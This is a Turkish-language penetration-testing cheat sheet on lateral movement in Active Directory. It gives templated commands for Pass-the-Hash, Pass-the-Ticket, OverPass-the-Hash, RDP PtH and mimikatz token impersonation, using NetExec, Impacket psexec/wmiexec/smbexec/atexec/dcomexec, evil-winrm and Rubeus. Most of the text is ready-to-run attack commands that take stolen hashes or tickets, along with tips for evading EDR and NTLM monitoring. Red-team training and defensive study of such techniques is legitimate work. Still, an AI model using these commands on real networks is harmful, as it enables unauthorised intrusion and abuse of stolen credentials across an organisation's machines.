Yatay Hareket — PtH / PtT / OverPass-the-Hash / psexec-wmiexec-smbexec-atexec-dcomexec / evil-winrm / RDP
Ele geçirilen kimlik bilgileriyle (parola, NT hash, Kerberos bileti) domain içinde başka makinelere geçme: NetExec/Impacket exec aileleri (-hashes), Pass-the-Ticket (KRB5CCNAME + -k -no-pass), OverPass-the-Hash (Rubeus asktgt), evil-winrm -H, RDP PtH ve token taklit.
- Geçerli kimlik: {{USER}}:{{PASS}} ya da {{NTHASH}} ya da .ccache bileti
- Hedef makinede hesabın yerel/uzak yönetim hakkı (admin, Remote Management Users, vb.)
- Erişilebilir SMB(445)/WinRM(5985)/RDP(3389) ve DC'ye Kerberos(88) erişimi
Komutlar
nxc smb {{RHOSTS}} -u {{USER}} -H {{NTHASH}} --local-auth nxc smb {{RHOST}} -u {{USER}} -H {{NTHASH}} -x 'whoami /all' impacket-psexec -hashes :{{NTHASH}} {{DOMAIN}}/{{USER}}@{{RHOST}} impacket-wmiexec -hashes :{{NTHASH}} {{DOMAIN}}/{{USER}}@{{RHOST}} impacket-smbexec -hashes :{{NTHASH}} {{DOMAIN}}/{{USER}}@{{RHOST}} impacket-atexec -hashes :{{NTHASH}} {{DOMAIN}}/{{USER}}@{{RHOST}} 'whoami' impacket-dcomexec -hashes :{{NTHASH}} {{DOMAIN}}/{{USER}}@{{RHOST}} evil-winrm -i {{RHOST}} -u {{USER}} -H {{NTHASH}} impacket-getTGT -hashes :{{NTHASH}} {{DOMAIN}}/{{USER}} -dc-ip {{DC_IP}} export KRB5CCNAME={{USER}}.ccache; impacket-wmiexec -k -no-pass {{DOMAIN}}/{{USER}}@{{DC_HOST}} KRB5CCNAME={{USER}}.ccache nxc smb {{DC_HOST}} -k --use-kcache -x 'whoami' Rubeus.exe asktgt /user:{{USER}} /rc4:{{NTHASH}} /domain:{{DOMAIN}} /dc:{{DC_IP}} /ptt Rubeus.exe ptt /ticket:ticket.kirbi sekurlsa::pth /user:{{USER}} /domain:{{DOMAIN}} /ntlm:{{NTHASH}} /run:powershell.exe nxc rdp {{RHOST}} -u {{USER}} -H {{NTHASH}} xfreerdp /v:{{RHOST}} /u:{{USER}} /pth:{{NTHASH}} /d:{{DOMAIN}} +clipboard impacket-psexec -k -no-pass {{DOMAIN}}/{{USER}}@{{DC_HOST}} Yatay hareket (lateral movement), bir makinede ele geçirdiğin kimliği (parola / NT hash / Kerberos bileti) kullanarak başka makinelere yayılmaktır. Hangi malzemen olduğuna göre üç ana teknik vardır: NTLM tarafında Pass-the-Hash, Kerberos tarafında Pass-the-Ticket ve ikisinin köprüsü OverPass-the-Hash.
1. Pass-the-Hash (PtH)
NTLM kimlik doğrulama parolanın kendisini değil, NT hash’ini kullanır — yani plaintext’i kırmadan hash ile doğrulanırsın. Önce spray ile hash’in nerede admin olduğunu bul: nxc smb {{RHOSTS}} -u {{USER}} -H {{NTHASH}}. ‘Pwn3d!’ çıkan host’larda exec ailesini kullan:
- psexec — ADMIN$‘a servis kurar, SYSTEM shell verir; en güvenilir ama en gürültülü (servis IOC).
- wmiexec — WMI/DCOM üzerinden, servis kurmaz; daha sessiz, EDR ortamında ilk tercih.
- smbexec — SMB üzerinden komut, çıktıyı temp dosyaya yazar.
- atexec — Task Scheduler; psexec/wmi engelliyse.
- dcomexec — DCOM (MMC20.Application); SMB exec yolları kapalıysa.
Hepsinde -hashes :{{NTHASH}} formatı kullanılır (LM boş, iki nokta sonrası NT). Lokal admin yerine sadece WinRM hakkı varsa evil-winrm -H {{NTHASH}} interaktif PowerShell verir. Gotcha: Domain hesabında --local-auth KULLANMA; o bayrak yerel SAM hesapları içindir.
2. Pass-the-Ticket (PtT)
Elinde bir Kerberos bileti (.ccache Linux / .kirbi Windows) varsa parolaya/hash’e hiç gerek yok. Linux’ta bileti ortam değişkenine koyarsın: export KRB5CCNAME=bilet.ccache, sonra her impacket/nxc aracında -k -no-pass (nxc’de -k --use-kcache). Windows’ta Rubeus.exe ptt /ticket:bilet.kirbi ile mevcut oturuma enjekte edersin, klist ile teyit. En kritik gotcha: Kerberos isme bağlıdır — hedefe MUTLAKA FQDN/DNS adıyla ({{DC_HOST}}) bağlan, IP ile bağlanırsan SPN eşleşmez ve KRB_AP_ERR_* alırsın. /etc/hosts’a IP-FQDN eşlemesini ekle.
3. OverPass-the-Hash (Pass-the-Key)
NTLM exec’in engellendiği ama Kerberos’un açık olduğu ortamlarda NT hash’i Kerberos TGT’ye çevirirsin. Linux: impacket-getTGT -hashes :{{NTHASH}} -> .ccache -> PtT. Windows: Rubeus.exe asktgt /rc4:{{NTHASH}} /ptt (RC4 anahtarı = NT hash) -> bilet oturuma girer -> Kerberos lateral. Bu, saf NTLM’in izlenip Kerberos’un izlenmediği ağlarda tespit kaçışı sağlar.
4. RDP ile Lateral
RDP PtH ancak hedefte Restricted Admin Mode açıksa çalışır: nxc rdp -H {{NTHASH}} doğrularsa xfreerdp /pth:{{NTHASH}} ile grafik oturum açarsın. Kapalıysa parolayı kırman ya da DisableRestrictedAdmin registry’sini admin olarak açman gerekir.
5. Token Taklit / sekurlsa::pth
Windows ana makinesinde admin’sen mimikatz sekurlsa::pth /ntlm:{{NTHASH}} /run:powershell.exe yeni bir süreci o kimlikle başlatır; o pencereden ağ kaynaklarına (dir \{{RHOST}}\C$) eriş. Lokal token abuse için ele geçen oturumlardaki delegasyon token’larını taklit edebilir (Incognito/token::elevate), oradaki ayrıcalıklı kullanıcılar olarak lateral yapabilirsin.
Sık Hatalar ve İpuçları
- Saat kayması (clock skew): Kerberos ±5 dk tolerans ister.
ntpdate {{DC_IP}}veyardate -n {{DC_IP}}ile saatini DC’ye eşle, yoksaKRB_AP_ERR_SKEW. - FQDN zorunluluğu: Tüm Kerberos akışlarında host’u DNS adıyla ver; IP Kerberos’u bozar.
- KRB5CCNAME: PtT öncesi mutlaka
exportet; unutursan araç parola/hash arar ve başarısız olur. - Sessizlik sırası: wmiexec/atexec < smbexec < psexec (gürültü). EDR varsa wmiexec/evil-winrm ile başla.
- Loot edilen bileti dönüştürme: Mimikatz
.kirbi’yiimpacket-ticketConverterile.ccache’e (ve tersine) çevirip Linux<->Windows araçları arasında taşıyabilirsin.